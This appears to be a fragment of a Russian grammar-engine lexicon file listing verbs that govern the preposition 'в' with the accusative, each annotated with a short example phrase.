rus_verbs:съехать{}, // съехать в кювет rus_verbs:литься{}, // литься в канистру rus_verbs:уклониться{}, // уклониться в левую сторону rus_verbs:смахнуть{}, // смахнуть в мусорное ведро rus_verbs:спускать{}, // спускать в шахту rus_verbs:плеснуть{}, // плеснуть в воду rus_verbs:подуть{}, // подуть в угольки rus_verbs:набирать{}, // набирать в команду rus_verbs:хлопать{}, // хлопать в ладошки rus_verbs:ранить{}, // ранить в самое сердце rus_verbs:посматривать{}, // посматривать в иллюминатор rus_verbs:превращать{}, // превращать воду в вино rus_verbs:толкать{}, // толкать в пучину rus_verbs:отбыть{}, // отбыть в расположение части rus_verbs:сгрести{}, // сгрести в карман rus_verbs:удрать{}, // удрать в тайгу rus_verbs:пристроиться{}, // пристроиться в хорошую фирму rus_verbs:сбиться{}, // сбиться в плотную группу rus_verbs:заключать{}, // заключать в объятия rus_verbs:отпускать{}, // отпускать в поход rus_verbs:устремить{}, // устремить взгляд в будущее rus_verbs:обронить{}, // обронить в траву rus_verbs:сливаться{}, // сливаться в речку rus_verbs:стекать{}, // стекать в канаву rus_verbs:свалить{}, // свалить в кучу rus_verbs:подтянуть{}, // подтянуть в кабину rus_verbs:скатиться{}, // скатиться в канаву rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь rus_verbs:заторопиться{}, // заторопиться в буфет rus_verbs:протиснуться{}, // протиснуться в центр толпы rus_verbs:прятать{}, // прятать в укромненькое местечко rus_verbs:пропеть{}, // пропеть в микрофон rus_verbs:углубиться{}, // углубиться в джунгли rus_verbs:сползти{}, // сползти в яму rus_verbs:записывать{}, // записывать в память rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР) rus_verbs:колотиться{}, // колотиться в дверь rus_verbs:просунуть{}, // просунуть в отверстие rus_verbs:провожать{}, // провожать в армию rus_verbs:катить{}, // катить в гараж rus_verbs:поражать{}, // поражать в самое сердце rus_verbs:отлететь{}, // отлететь в дальний угол rus_verbs:закинуть{}, // закинуть в речку rus_verbs:катиться{}, // катиться в пропасть rus_verbs:забросить{}, // забросить в дальний угол rus_verbs:отвезти{}, // отвезти в лагерь rus_verbs:втопить{}, // втопить педаль в пол rus_verbs:втапливать{}, // втапливать педать в пол rus_verbs:утопить{}, // утопить кнопку в панель rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?) rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег rus_verbs:поскакать{}, // поскакать в атаку rus_verbs:прицелиться{}, // прицелиться в бегущего зайца rus_verbs:прыгать{}, // прыгать в кровать rus_verbs:приглашать{}, // приглашать в дом rus_verbs:понестись{}, // понестись в ворота rus_verbs:заехать{}, // заехать в гаражный бокс rus_verbs:опускаться{}, // опускаться в бездну rus_verbs:переехать{}, // переехать в коттедж rus_verbs:поместить{}, // поместить в карантин rus_verbs:ползти{}, // ползти в нору rus_verbs:добавлять{}, // добавлять в корзину rus_verbs:уткнуться{}, // уткнуться в подушку rus_verbs:продавать{}, // продавать в рабство rus_verbs:спрятаться{}, // Белка спрячется в дупло. rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию rus_verbs:воткнуть{}, // воткни вилку в розетку rus_verbs:нести{}, // нести в больницу rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку rus_verbs:впаивать{}, // впаивать деталь в плату rus_verbs:впаиваться{}, // деталь впаивается в плату rus_verbs:впархивать{}, // впархивать в помещение rus_verbs:впаять{}, // впаять деталь в плату rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат rus_verbs:вперивать{}, // вперивать взгляд в экран rus_verbs:впериваться{}, // впериваться в экран rus_verbs:вперить{}, // вперить взгляд в экран rus_verbs:впериться{}, // впериться в экран rus_verbs:вперять{}, // вперять взгляд в экран rus_verbs:вперяться{}, // вперяться в экран rus_verbs:впечатать{}, // впечатать текст в первую главу rus_verbs:впечататься{}, // впечататься в стену rus_verbs:впечатывать{}, // впечатывать текст в первую главу rus_verbs:впечатываться{}, // впечатываться в стену rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами rus_verbs:впитаться{}, // Жидкость впиталась в ткань rus_verbs:впитываться{}, // Жидкость впитывается в ткань rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник rus_verbs:вплавиться{}, // Провод вплавился в плату rus_verbs:вплеснуть{}, // вплеснуть краситель в бак rus_verbs:вплести{}, // вплести ленту в волосы rus_verbs:вплестись{}, // вплестись в волосы rus_verbs:вплетать{}, // вплетать ленты в волосы rus_verbs:вплывать{}, // корабль вплывает в порт rus_verbs:вплыть{}, // яхта вплыла в бухту rus_verbs:вползать{}, // дракон вползает в пещеру rus_verbs:вползти{}, // дракон вполз в свою пещеру rus_verbs:впорхнуть{}, // бабочка впорхнула в окно rus_verbs:впрессовать{}, // впрессовать деталь в плиту rus_verbs:впрессоваться{}, // впрессоваться в плиту rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту rus_verbs:впрессовываться{}, // впрессовываться в плиту rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания rus_verbs:впрягать{}, // впрягать лошадь в телегу rus_verbs:впрягаться{}, // впрягаться в работу rus_verbs:впрячь{}, // впрячь лошадь в телегу rus_verbs:впрячься{}, // впрячься в работу rus_verbs:впускать{}, // впускать посетителей в музей rus_verbs:впускаться{}, // впускаться в помещение rus_verbs:впустить{}, // впустить посетителей в музей rus_verbs:впутать{}, // впутать кого-то во что-то rus_verbs:впутаться{}, // впутаться во что-то rus_verbs:впутывать{}, // впутывать кого-то во что-то rus_verbs:впутываться{}, // впутываться во что-то rus_verbs:врабатываться{}, // врабатываться в режим rus_verbs:вработаться{}, // вработаться в режим rus_verbs:врастать{}, // врастать в кожу rus_verbs:врасти{}, // врасти в кожу инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь инфинитив:врезать{ вид:соверш }, глагол:врезать{ вид:несоверш }, глагол:врезать{ вид:соверш }, деепричастие:врезая{}, деепричастие:врезав{}, прилагательное:врезанный{}, инфинитив:врезаться{ вид:несоверш }, // врезаться в стену инфинитив:врезаться{ вид:соверш }, глагол:врезаться{ вид:несоверш }, деепричастие:врезаясь{}, деепричастие:врезавшись{}, rus_verbs:врубить{}, // врубить в нагрузку rus_verbs:врываться{}, // врываться в здание rus_verbs:закачивать{}, // Насос закачивает топливо в бак rus_verbs:ввезти{}, // Предприятие ввезло товар в страну rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу rus_verbs:ввивать{}, // Женщина ввивает полоску в косу rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека rus_verbs:вламываться{}, // Полиция вламывается в квартиру rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом rus_verbs:вовлечься{}, // вовлечься в занятие спортом rus_verbs:спуститься{}, // спуститься в подвал rus_verbs:спускаться{}, // спускаться в подвал rus_verbs:отправляться{}, // отправляться в дальнее плавание инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство инфинитив:эмитировать{ вид:несоверш }, глагол:эмитировать{ вид:соверш }, глагол:эмитировать{ вид:несоверш }, деепричастие:эмитируя{}, деепричастие:эмитировав{}, прилагательное:эмитировавший{ вид:несоверш }, // прилагательное:эмитировавший{ вид:соверш }, прилагательное:эмитирующий{}, прилагательное:эмитируемый{}, прилагательное:эмитированный{}, инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию инфинитив:этапировать{вид:соверш}, глагол:этапировать{вид:несоверш}, глагол:этапировать{вид:соверш}, деепричастие:этапируя{}, прилагательное:этапируемый{}, прилагательное:этапированный{}, rus_verbs:этапироваться{}, // Преступники этапируются в колонию rus_verbs:баллотироваться{}, // они баллотировались в жюри rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну rus_verbs:бросать{}, // Они бросали в фонтан медные монетки rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:бросить{}, // Он бросил в фонтан медную монетку rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя rus_verbs:буксировать{}, // Буксир буксирует танкер в порт rus_verbs:буксироваться{}, // Сухогруз буксируется в порт rus_verbs:вбегать{}, // Курьер вбегает в дверь rus_verbs:вбежать{}, // Курьер вбежал в дверь rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту rus_verbs:вбиваться{}, // Штырь вбивается в плиту rus_verbs:вбирать{}, // Вата вбирает в себя влагу rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру rus_verbs:вбросить{}, // Судья вбросил мяч в игру rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту rus_verbs:ввариваться{}, // Арматура вваривается в плиту rus_verbs:вварить{}, // Робот вварил арматурину в плиту rus_verbs:влезть{}, // Предприятие ввезло товар в страну rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача rus_verbs:вверяться{}, // Пациент вверяется в руки врача rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров rus_verbs:ввиваться{}, // полоска ввивается в косу rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров // rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон rus_verbs:ввязаться{}, // Разведрота ввязалась в бой rus_verbs:ввязываться{}, // Передовые части ввязываются в бой rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь rus_verbs:вдвинуться{}, // деталь вдвинулась в печь rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко rus_verbs:вделать{}, // мастер вделал розетку в стену rus_verbs:вделывать{}, // мастер вделывает выключатель в стену rus_verbs:вделываться{}, // кронштейн вделывается в стену rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку rus_verbs:вернуться{}, // Дети вернулись в библиотеку rus_verbs:вжаться{}, // Водитель вжался в кресло rus_verbs:вживаться{}, // Актер вживается в новую роль rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента rus_verbs:вживляться{}, // Стимулятор вживляется в тело rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло rus_verbs:вжиться{}, // Актер вжился в свою новую роль rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо rus_verbs:взвинтиться{}, // Цены взвинтились в небо rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо rus_verbs:взвиться{}, // Шарики взвились в небо rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо rus_verbs:взмывать{}, // шарики взмывают в небо rus_verbs:взмыть{}, // Шарики взмыли в небо rus_verbs:вильнуть{}, // Машина вильнула в левую сторону rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю rus_verbs:вкапываться{}, // Свая вкапывается в землю rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж rus_verbs:вкатиться{}, // машина вкатилась в гараж rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж rus_verbs:вкатываться{}, // машина вкатывается в гараж rus_verbs:вкачать{}, // Механики вкачали в бак много топлива rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак rus_verbs:вкачиваться{}, // Топливо вкачивается в бак rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер rus_verbs:вкидываться{}, // Груз вкидывается в контейнер rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции rus_verbs:вкладываться{}, // Инвестор вкладывается в акции rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист rus_verbs:вклиниваться{}, // Машина вклинивается в поток rus_verbs:вклиниться{}, // машина вклинилась в поток rus_verbs:включать{}, // Команда включает компьютер в сеть rus_verbs:включаться{}, // Машина включается в глобальную сеть rus_verbs:включить{}, // Команда включила компьютер в сеть rus_verbs:включиться{}, // Компьютер включился в сеть rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон rus_verbs:влазить{}, // Разъем влазит в отверствие rus_verbs:вламывать{}, // Полиция вламывается в квартиру rus_verbs:влетать{}, // Самолет влетает в грозовой фронт rus_verbs:влететь{}, // Самолет влетел в грозовой фронт rus_verbs:вливать{}, // Механик вливает масло в картер rus_verbs:вливаться{}, // Масло вливается в картер rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности rus_verbs:влить{}, // Механик влил свежее масло в картер rus_verbs:влиться{}, // Свежее масло влилось в бак rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства rus_verbs:вложиться{}, // Инвесторы вложились в эти акции rus_verbs:влюбиться{}, // Коля влюбился в Олю rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов rus_verbs:вляпаться{}, // Коля вляпался в неприятность rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности rus_verbs:вменить{}, // вменить в вину rus_verbs:вменять{}, // вменять в обязанность rus_verbs:вмерзать{}, // Колеса вмерзают в лед rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед rus_verbs:вмести{}, // вмести в дом rus_verbs:вместить{}, // вместить в ёмкость rus_verbs:вместиться{}, // Прибор не вместился в зонд rus_verbs:вмешаться{}, // Начальник вмешался в конфликт rus_verbs:вмешивать{}, // Не вмешивай меня в это дело rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус rus_verbs:вминать{}, // вминать в корпус rus_verbs:вминаться{}, // кронштейн вминается в корпус rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт rus_verbs:вморозить{}, // Установка вморозила сваи в грунт rus_verbs:вмуровать{}, // Сейф был вмурован в стену rus_verbs:вмуровывать{}, // вмуровывать сейф в стену rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену rus_verbs:внедрить{}, // внедрить инновацию в производство rus_verbs:внедриться{}, // Шпион внедрился в руководство rus_verbs:внедрять{}, // внедрять инновации в производство rus_verbs:внедряться{}, // Шпионы внедряются в руководство rus_verbs:внести{}, // внести коробку в дом rus_verbs:внестись{}, // внестись в список приглашенных гостей rus_verbs:вникать{}, // Разработчик вникает в детали задачи rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев rus_verbs:вноситься{}, // вноситься в список главных персонажей rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом rus_verbs:вогнать{}, // вогнал человека в тоску rus_verbs:водворить{}, // водворить преступника в тюрьму rus_verbs:возвернуть{}, // возвернуть в родную стихию rus_verbs:возвернуться{}, // возвернуться в родную стихию rus_verbs:возвести{}, // возвести число в четную степень rus_verbs:возводить{}, // возводить число в четную степень rus_verbs:возводиться{}, // число возводится в четную степень rus_verbs:возвратить{}, // возвратить коров в стойло rus_verbs:возвратиться{}, // возвратиться в родной дом rus_verbs:возвращать{}, // возвращать коров в стойло rus_verbs:возвращаться{}, // возвращаться в родной дом rus_verbs:войти{}, // войти в галерею славы rus_verbs:вонзать{}, // Коля вонзает вилку в котлету rus_verbs:вонзаться{}, // Вилка вонзается в котлету rus_verbs:вонзить{}, // Коля вонзил вилку в котлету rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность rus_verbs:воплотиться{}, // Мечты воплотились в реальность rus_verbs:воплощать{}, // Коля воплощает мечты в реальность rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь rus_verbs:воспарить{}, // Душа воспарила в небо rus_verbs:воспарять{}, // Душа воспаряет в небо rus_verbs:врыть{}, // врыть опору в землю rus_verbs:врыться{}, // врыться в землю rus_verbs:всадить{}, // всадить пулю в сердце rus_verbs:всаживать{}, // всаживать нож в бок rus_verbs:всасывать{}, // всасывать воду в себя rus_verbs:всасываться{}, // всасываться в ёмкость rus_verbs:вселить{}, // вселить надежду в кого-либо rus_verbs:вселиться{}, // вселиться в пустующее здание rus_verbs:вселять{}, // вселять надежду в кого-то rus_verbs:вселяться{}, // вселяться в пустующее здание rus_verbs:вскидывать{}, // вскидывать руку в небо rus_verbs:вскинуть{}, // вскинуть руку в небо rus_verbs:вслушаться{}, // вслушаться в звуки rus_verbs:вслушиваться{}, // вслушиваться в шорох rus_verbs:всматриваться{}, // всматриваться в темноту rus_verbs:всмотреться{}, // всмотреться в темень rus_verbs:всовывать{}, // всовывать палец в отверстие rus_verbs:всовываться{}, // всовываться в форточку rus_verbs:всосать{}, // всосать жидкость в себя rus_verbs:всосаться{}, // всосаться в кожу rus_verbs:вставить{}, // вставить ключ в замок rus_verbs:вставлять{}, // вставлять ключ в замок rus_verbs:встраивать{}, // встраивать черный ход в систему защиты rus_verbs:встраиваться{}, // встраиваться в систему безопасности rus_verbs:встревать{}, // встревать в разговор rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности rus_verbs:встроиться{}, // встроиться в систему безопасности rus_verbs:встрять{}, // встрять в разговор rus_verbs:вступать{}, // вступать в действующую армию rus_verbs:вступить{}, // вступить в действующую армию rus_verbs:всунуть{}, // всунуть палец в отверстие rus_verbs:всунуться{}, // всунуться в форточку инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер инфинитив:всыпать{вид:несоверш}, глагол:всыпать{вид:соверш}, глагол:всыпать{вид:несоверш}, деепричастие:всыпав{}, деепричастие:всыпая{}, прилагательное:всыпавший{ вид:соверш }, // прилагательное:всыпавший{ вид:несоверш }, прилагательное:всыпанный{}, // прилагательное:всыпающий{}, инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер // инфинитив:всыпаться{ вид:соверш}, // глагол:всыпаться{ вид:соверш}, глагол:всыпаться{ вид:несоверш}, // деепричастие:всыпавшись{}, деепричастие:всыпаясь{}, // прилагательное:всыпавшийся{ вид:соверш }, // прилагательное:всыпавшийся{ вид:несоверш }, // прилагательное:всыпающийся{}, rus_verbs:вталкивать{}, // вталкивать деталь в ячейку rus_verbs:вталкиваться{}, // вталкиваться в ячейку rus_verbs:втаптывать{}, // втаптывать в грязь rus_verbs:втаптываться{}, // втаптываться в грязь rus_verbs:втаскивать{}, // втаскивать мешок в комнату rus_verbs:втаскиваться{}, // втаскиваться в комнату rus_verbs:втащить{}, // втащить мешок в комнату rus_verbs:втащиться{}, // втащиться в комнату rus_verbs:втекать{}, // втекать в бутылку rus_verbs:втемяшивать{}, // втемяшивать в голову rus_verbs:втемяшиваться{}, // втемяшиваться в голову rus_verbs:втемяшить{}, // втемяшить в голову rus_verbs:втемяшиться{}, // втемяшиться в голову rus_verbs:втереть{}, // втереть крем в кожу rus_verbs:втереться{}, // втереться в кожу rus_verbs:втесаться{}, // втесаться в группу rus_verbs:втесывать{}, // втесывать в группу rus_verbs:втесываться{}, // втесываться в группу rus_verbs:втечь{}, // втечь в бак rus_verbs:втирать{}, // втирать крем в кожу rus_verbs:втираться{}, // втираться в кожу rus_verbs:втискивать{}, // втискивать сумку в вагон rus_verbs:втискиваться{}, // втискиваться в переполненный вагон rus_verbs:втиснуть{}, // втиснуть сумку в вагон rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро rus_verbs:втолкать{}, // втолкать коляску в лифт rus_verbs:втолкаться{}, // втолкаться в вагон метро rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт rus_verbs:втолкнуться{}, // втолкнуться в вагон метро rus_verbs:втолочь{}, // втолочь в смесь rus_verbs:втоптать{}, // втоптать цветы в землю rus_verbs:вторгаться{}, // вторгаться в чужую зону rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь rus_verbs:втравить{}, // втравить кого-то в неприятности rus_verbs:втравливать{}, // втравливать кого-то в неприятности rus_verbs:втрамбовать{}, // втрамбовать камни в землю rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю rus_verbs:втрамбовываться{}, // втрамбовываться в землю rus_verbs:втрескаться{}, // втрескаться в кого-то rus_verbs:втрескиваться{}, // втрескиваться в кого-либо rus_verbs:втыкать{}, // втыкать вилку в котлетку rus_verbs:втыкаться{}, // втыкаться в розетку rus_verbs:втюриваться{}, // втюриваться в кого-либо rus_verbs:втюриться{}, // втюриться в кого-либо rus_verbs:втягивать{}, // втягивать что-то в себя rus_verbs:втягиваться{}, // втягиваться в себя rus_verbs:втянуться{}, // втянуться в себя rus_verbs:вцементировать{}, // вцементировать сваю в фундамент rus_verbs:вчеканить{}, // вчеканить надпись в лист rus_verbs:вчитаться{}, // вчитаться внимательнее в текст rus_verbs:вчитываться{}, // вчитываться внимательнее в текст rus_verbs:вчувствоваться{}, // вчувствоваться в роль rus_verbs:вшагивать{}, // вшагивать в новую жизнь rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь rus_verbs:вшивать{}, // вшивать заплату в рубашку rus_verbs:вшиваться{}, // вшиваться в ткань rus_verbs:вшить{}, // вшить заплату в ткань rus_verbs:въедаться{}, // въедаться в мякоть rus_verbs:въезжать{}, // въезжать в гараж rus_verbs:въехать{}, // въехать в гараж rus_verbs:выиграть{}, // Коля выиграл в шахматы rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы rus_verbs:выкладывать{}, // выкладывать в общий доступ rus_verbs:выкладываться{}, // выкладываться в общий доступ rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет rus_verbs:вылезать{}, // вылезать в открытое пространство rus_verbs:вылезти{}, // вылезти в открытое пространство rus_verbs:выливать{}, // выливать в бутылку rus_verbs:выливаться{}, // выливаться в ёмкость rus_verbs:вылить{}, // вылить отходы в канализацию rus_verbs:вылиться{}, // Топливо вылилось в воду rus_verbs:выложить{}, // выложить в общий доступ rus_verbs:выпадать{}, // выпадать в осадок rus_verbs:выпрыгивать{}, // выпрыгивать в окно rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно rus_verbs:выродиться{}, // выродиться в жалкое подобие rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков rus_verbs:высеваться{}, // высеваться в землю rus_verbs:высеять{}, // высеять в землю rus_verbs:выслать{}, // выслать в страну постоянного пребывания rus_verbs:высморкаться{}, // высморкаться в платок rus_verbs:высморкнуться{}, // высморкнуться в платок rus_verbs:выстреливать{}, // выстреливать в цель rus_verbs:выстреливаться{}, // выстреливаться в цель rus_verbs:выстрелить{}, // выстрелить в цель rus_verbs:вытекать{}, // вытекать в озеро rus_verbs:вытечь{}, // вытечь в воду rus_verbs:смотреть{}, // смотреть в будущее rus_verbs:подняться{}, // подняться в лабораторию rus_verbs:послать{}, // послать в магазин rus_verbs:слать{}, // слать в неизвестность rus_verbs:добавить{}, // добавить в суп rus_verbs:пройти{}, // пройти в лабораторию rus_verbs:положить{}, // положить в ящик rus_verbs:прислать{}, // прислать в полицию rus_verbs:упасть{}, // упасть в пропасть инфинитив:писать{ aux stress="пис^ать" }, // писать в газету инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки глагол:писать{ aux stress="п^исать" }, глагол:писать{ aux stress="пис^ать" }, деепричастие:писая{}, прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету rus_verbs:собираться{}, // собираться в поход rus_verbs:звать{}, // звать в ресторан rus_verbs:направиться{}, // направиться в ресторан rus_verbs:отправиться{}, // отправиться в ресторан rus_verbs:поставить{}, // поставить в угол rus_verbs:целить{}, // целить в мишень rus_verbs:попасть{}, // попасть в переплет rus_verbs:ударить{}, // ударить в больное место rus_verbs:закричать{}, // закричать в микрофон rus_verbs:опустить{}, // опустить в воду rus_verbs:принести{}, // принести в дом бездомного щенка rus_verbs:отдать{}, // отдать в хорошие руки rus_verbs:ходить{}, // ходить в школу rus_verbs:уставиться{}, // уставиться в экран rus_verbs:приходить{}, // приходить в бешенство 